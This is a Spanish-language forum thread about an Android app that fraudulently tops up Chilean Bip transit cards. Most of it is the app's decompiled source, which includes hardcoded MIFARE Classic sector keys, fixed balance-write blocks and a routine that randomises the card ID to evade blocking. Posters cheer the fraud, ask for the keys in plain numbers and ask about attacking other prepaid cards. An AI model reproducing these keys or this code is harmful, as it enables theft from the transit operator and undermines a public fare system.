• ¿Quieres apoyar a nuestro foro haciendo una donación?, entra aquí.

Logran crear una aplicación para cargar tarjeta bip!

Estado
No está abierto para más respuestas.
No le veo tanto futuro a la wea... es cosa de que la misma gente de transantiago vea los logs o tracking (si es que tienen) masivamente de todas las tarjetas recargadas en puntos que para el sistema figuran como válidos. Luego eliminar todas las cargas en donde el punto de recarga no sea válido y bloquear la tarjeta por codigo, independientemente de si la ultima carga fue legal o no. Aunque si no tienen sumo cuidado en eso, van a dejar una cagada aún más grande de la que tenían :lol2:

El tema es que si no parchan eso, ahora sí que el sistema se va a la mierda. Va a pasar lo mismo que con los celulares antiguamente, se va a poner un weon en el bio bio con un equipo listo, te va a cobrar 10.000 y te va a cargar 20.000 :hands:
El programa te cambia el ID de la Tarjeta si que tampoco es valido :lol2:
 
La forma mas barata de disminuir las cuchufletas, es hechando a correr el rumor de que la apk te roba las cuentas de redes sociales, bancos, etc.

Recuerden si bloquean la BIP, pueden cambiarle el numereli, camaradas!
 
ADVIERTE ROBO DE DATOS
Tras conocerse la noticia, el ingeniero en software especializado en seguridad, Paulo Triviño, se comunicó con BioBioChile para dar a conocer un código malicioso dentro de la aplicación, que roba datos privados del usuario y su celular.
“En su código está incluido un exploit que al instalar el aplicativo, te vulnera la seguridad del celular“, afirma Triviño, quien agrega que esto permite el robo de claves de Gmail, Twitter y Facebook.
“Esto es hacking de ingeniería social. Te doy y te quito. A muchos la aplicación nunca les funcionara pero robará toda su información personal (…) Una aplicación de este tipo en las redes informales se tranza sobre los 1000 dólares. Por la efectividad de capturar mucha info”, agrega.
Así entonces, quienes hayan bajado e instalado la app, deben cambiar sus claves para sufrir más vulneraciones.

Fuente: BioBioChile http://www.biobiochile.cl/2014/10/1...ero-de-forma-fraudulenta-en-tarjeta-bip.shtml


:nonono:

No tengo acceso al codigo fuente para confirmar esto...
pero me tinca que es puro cuento para que no la usen, aunque si es verdad que lo dijo en twuiter un weon que andie conoce.
es falso :lol2:
es para asustar
 
Decompilado rapidamente con http://www.decompileandroid.com/

Código:
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: braces fieldsfirst space lnc

package com.example.puntobip;

import android.app.Activity;
import android.app.AlertDialog;
import android.app.PendingIntent;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.res.Resources;
import android.nfc.NfcAdapter;
import android.nfc.Tag;
import android.nfc.tech.MifareClassic;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.TextView;
import android.widget.Toast;
import java.io.IOException;
import java.util.Random;

// Referenced classes of package com.example.puntobip:
//  TapDialog

public class MainActivity extends Activity
{

  private final byte DATA_CARGA_B21[];
  private final byte DATA_CARGA_B22[];
  private final int DIALOG_CARGAR = 2;
  private final int DIALOG_NUMERO = 3;
  private final int DIALOG_SALDO = 1;
  private final byte KEY_B_SECTOR_0[] = {
  31, -62, 53, -84, 19, 9
  };
  private final byte KEY_B_SECTOR_8[] = {
  100, -29, -63, 3, -108, -62
  };
  private IntentFilter mFilters[];
  private NfcAdapter mNfcAdapter;
  private PendingIntent mPendingIntent;
  private String mTechList[][];
  private TapDialog tapDialog;

  public MainActivity()
  {
  byte abyte0[] = new byte[16];
  abyte0[0] = 16;
  abyte0[1] = 39;
  abyte0[4] = -17;
  abyte0[5] = -40;
  abyte0[6] = -1;
  abyte0[7] = -1;
  abyte0[8] = 16;
  abyte0[9] = 39;
  abyte0[12] = 33;
  abyte0[13] = -34;
  abyte0[14] = 33;
  abyte0[15] = -34;
  DATA_CARGA_B21 = abyte0;
  byte abyte1[] = new byte[16];
  abyte1[0] = 16;
  abyte1[1] = 39;
  abyte1[4] = -17;
  abyte1[5] = -40;
  abyte1[6] = -1;
  abyte1[7] = -1;
  abyte1[8] = 16;
  abyte1[9] = 39;
  abyte1[12] = 34;
  abyte1[13] = -35;
  abyte1[14] = 34;
  abyte1[15] = -35;
  DATA_CARGA_B22 = abyte1;
  }

  private String formatMoneda(long l)
  {
  StringBuilder stringbuilder = new StringBuilder("$");
  Object aobj[] = new Object[1];
  aobj[0] = Long.valueOf(l);
  return stringbuilder.append(String.format("%,d", aobj)).toString();
  }

  private void inicializarNFC()
  {
  mNfcAdapter = NfcAdapter.getDefaultAdapter(this);
  if (mNfcAdapter == null)
  {
  Toast.makeText(this, "Este dispositivo no soporta NFC.", 1).show();
  finish();
  return;
  }
  if (!mNfcAdapter.isEnabled())
  {
  AlertDialog alertdialog = (new android.app.AlertDialog.Builder(this)).create();
  alertdialog.setTitle("NFC deshabilitado");
  alertdialog.setMessage("Su NFC est\341 deshabilitado.\nIngrese a las opciones de configuraci\363n y activelo.");
  alertdialog.show();
  }
  mPendingIntent = PendingIntent.getActivity(this, 0, (new Intent(this, getClass())).addFlags(0x20000000), 0);
  IntentFilter intentfilter = new IntentFilter("android.nfc.action.TECH_DISCOVERED");
  String as[][];
  String as1[];
  try
  {
  intentfilter.addDataType("*/*");
  }
  catch (android.content.IntentFilter.MalformedMimeTypeException malformedmimetypeexception)
  {
  throw new RuntimeException("error", malformedmimetypeexception);
  }
  mFilters = (new IntentFilter[] {
  intentfilter
  });
  as = new String[1][];
  as1 = new String[1];
  as1[0] = android/nfc/tech/MifareClassic.getName();
  as[0] = as1;
  mTechList = as;
  }

  private long leToNumeric(byte abyte0[], int i)
  {
  long l = 0L;
  int j = 0;
  do
  {
  if (j >= i)
  {
  return l;
  }
  l += (255L & (long)abyte0[j]) << j * 8;
  j++;
  } while (true);
  }

  private String leToNumericString(byte abyte0[], int i)
  {
  return String.valueOf(leToNumeric(abyte0, i));
  }

  private void showTapDialog(String s, int i)
  {
  if (tapDialog == null)
  {
  tapDialog = new TapDialog(this);
  tapDialog.setCanceledOnTouchOutside(false);
  }
  tapDialog.setTitle(s);
  tapDialog.setTag(i);
  tapDialog.show();
  }

  public void onCambiarNumero(View view)
  {
  showTapDialog(getResources().getString(0x7f0a0010), 3);
  }

  public void onCargarSaldo(View view)
  {
  showTapDialog(getResources().getString(0x7f0a000f), 2);
  }

  protected void onCreate(Bundle bundle)
  {
  super.onCreate(bundle);
  setContentView(0x7f030018);
  showTapDialog(getResources().getString(0x7f0a000e), 1);
  inicializarNFC();
  }

  protected void onNewIntent(Intent intent)
  {
  if (!"android.nfc.action.TECH_DISCOVERED".equals(intent.getAction())) goto _L2; else goto _L1
_L1:
  MifareClassic mifareclassic = MifareClassic.get((Tag)intent.getParcelableExtra("android.nfc.extra.TAG"));
  mifareclassic.connect();
  if (!tapDialog.isShowing()) goto _L4; else goto _L3
_L3:
  tapDialog.getTag();
  JVM INSTR tableswitch 2 3: default 68
  //  2 236
  //  3 331;
  goto _L4 _L5 _L6
_L4:
  TextView textview1;
  TextView textview2;
  TextView textview = (TextView)findViewById(0x7f05003d);
  textview1 = (TextView)findViewById(0x7f05003e);
  textview2 = (TextView)findViewById(0x7f05003f);
  textview.setText(leToNumericString(mifareclassic.getTag().getId(), 4));
  if (!mifareclassic.authenticateSectorWithKeyB(0, KEY_B_SECTOR_0)) goto _L8; else goto _L7
_L7:
  byte abyte0[] = mifareclassic.readBlock(1);
  byte abyte1[] = new byte[4];
  abyte1[0] = abyte0[4];
  abyte1[1] = abyte0[5];
  abyte1[2] = abyte0[6];
  abyte1[3] = abyte0[7];
  textview1.setText(leToNumericString(abyte1, 4));
_L9:
  if (!mifareclassic.authenticateSectorWithKeyB(8, KEY_B_SECTOR_8))
  {
  break MISSING_BLOCK_LABEL_459;
  }
  textview2.setText(formatMoneda(leToNumeric(mifareclassic.readBlock(33), 2)));
_L10:
  Exception exception;
  Exception exception1;
  try
  {
  mifareclassic.close();
  }
  catch (IOException ioexception2) { }
_L2:
  tapDialog.dismiss();
  return;
_L5:
  if (!mifareclassic.authenticateSectorWithKeyB(8, KEY_B_SECTOR_8))
  {
  break MISSING_BLOCK_LABEL_310;
  }
  mifareclassic.writeBlock(33, DATA_CARGA_B21);
  mifareclassic.writeBlock(34, DATA_CARGA_B22);
  goto _L4
  exception1;
  Log.e("error", exception1.getLocalizedMessage());
  Toast.makeText(this, exception1.getLocalizedMessage(), 1).show();
  try
  {
  mifareclassic.close();
  }
  catch (IOException ioexception1) { }
  goto _L2
  Toast.makeText(this, "error autenticando sector 0x21", 1).show();
  goto _L4
  exception;
  byte abyte2[];
  Random random;
  try
  {
  mifareclassic.close();
  }
  catch (IOException ioexception) { }
  throw exception;
_L6:
label0:
  {
  if (!mifareclassic.authenticateSectorWithKeyB(0, KEY_B_SECTOR_0))
  {
  break label0;
  }
  abyte2 = mifareclassic.readBlock(1);
  random = new Random();
  abyte2[4] = (byte)(0 + random.nextInt(256));
  abyte2[5] = (byte)(0 + random.nextInt(256));
  abyte2[6] = (byte)(0 + random.nextInt(256));
  abyte2[7] = (byte)(0 + random.nextInt(256));
  mifareclassic.writeBlock(1, abyte2);
  }
  goto _L4
  Toast.makeText(this, "error autenticando sector 0x00", 1).show();
  goto _L4
_L8:
  Toast.makeText(this, "error autenticando sector 0x00", 1).show();
  goto _L9
  Toast.makeText(this, "error autenticando sector 0x21", 1).show();
  goto _L10
  }

  protected void onPause()
  {
  super.onPause();
  mNfcAdapter.disableForegroundDispatch(this);
  }

  protected void onResume()
  {
  super.onResume();
  mNfcAdapter.enableForegroundDispatch(this, mPendingIntent, mFilters, mTechList);
  }
}

No esta entero (son varios archivos) pero así a la rapida no veo nada que haga sospechar de un codigo malicioso. (aclarando que no soy informatico).

decompilar?? :lol2: :lol2:

la compilacion coincide en algoritmos a la criptografia , sino mas seguro aun

asi que suerte con decompilarlo!!!

Pobre e inocente palomita ...

No se trata de dejar el codigo como estaba originalmente. Se trata de "interpretar" y pasarlo a codigo.
 
yo lei el codigo y no tiene ningun troyano si fuese asi tendria mucho mas codigo.

de hecho solo instancia las keys tiene un entrada de los saldos y inicializa el dispositivo escritor ingresa los key y rescribe eso es todo.[DOUBLEPOST=1413574738,1413574674][/DOUBLEPOST]el ps3 tenia 5 keys esta wea es ordinaria.
 
Revisando el código no se en ninguna parte código fraudulento como para sacar tus datos del telefono se ve "Limpia" alguien más miro el código por casualidad?
 
sip, pero si no supiera la wea hubiera pasado piola y todos felices wn.

lo unico bueno es que los de sonda van a mover la raja pa arreglar la wea
esta wea de falla se nombro hace mucho tiempo y sonda no fue capaz de mover la raja, lo que pasa ahora es que los simios de portalflaite empezaron a gritar a viva voz una información que ya se sabia
 
Alguien tendría la gentileza de extraer las Keys y pegarlas acá en numeros comunes y corrientes? Gracias
 
Y Pensar que debe por lo menos haber un weon en el mundo que debe cachar la wea de las tarjetas de creditos y se debe hacer cagar comprando weas tontas xD

Por si no lo saben, a los mismos terceros que mandan a hacer las tarjetas del retail tipo xxx... tienen nexus con otras "personas" encadas jwwhhwjjdjeje
Djsjejms
S
Dd


....
 
consulta para los mas peritos es cierto que se puede cargar la bip con esa wea de aplicación que tanto hablan o es pura falazia
 
tengo una duda.. que otra tarjeta utiliza el mismo sistema que las bip?
sera posible entrar a otras tarjetas? por ejemplo las tarjetas de los decodificadores por ejemplo para cargar saldo por ejemplo en las tarjetas de directv prepago o algo por el estilo?
No sirve porque ese se valida con otro sistema interno, el numero de deco y tarjeta solo sirven para "subir" al numero de cliente que es donde esta el parque (productos contratados, etc).
 
pff, hace como un año que los peruanos hacen esa pega de cargar la bip mulamente
 
Estado
No está abierto para más respuestas.
Volver
Arriba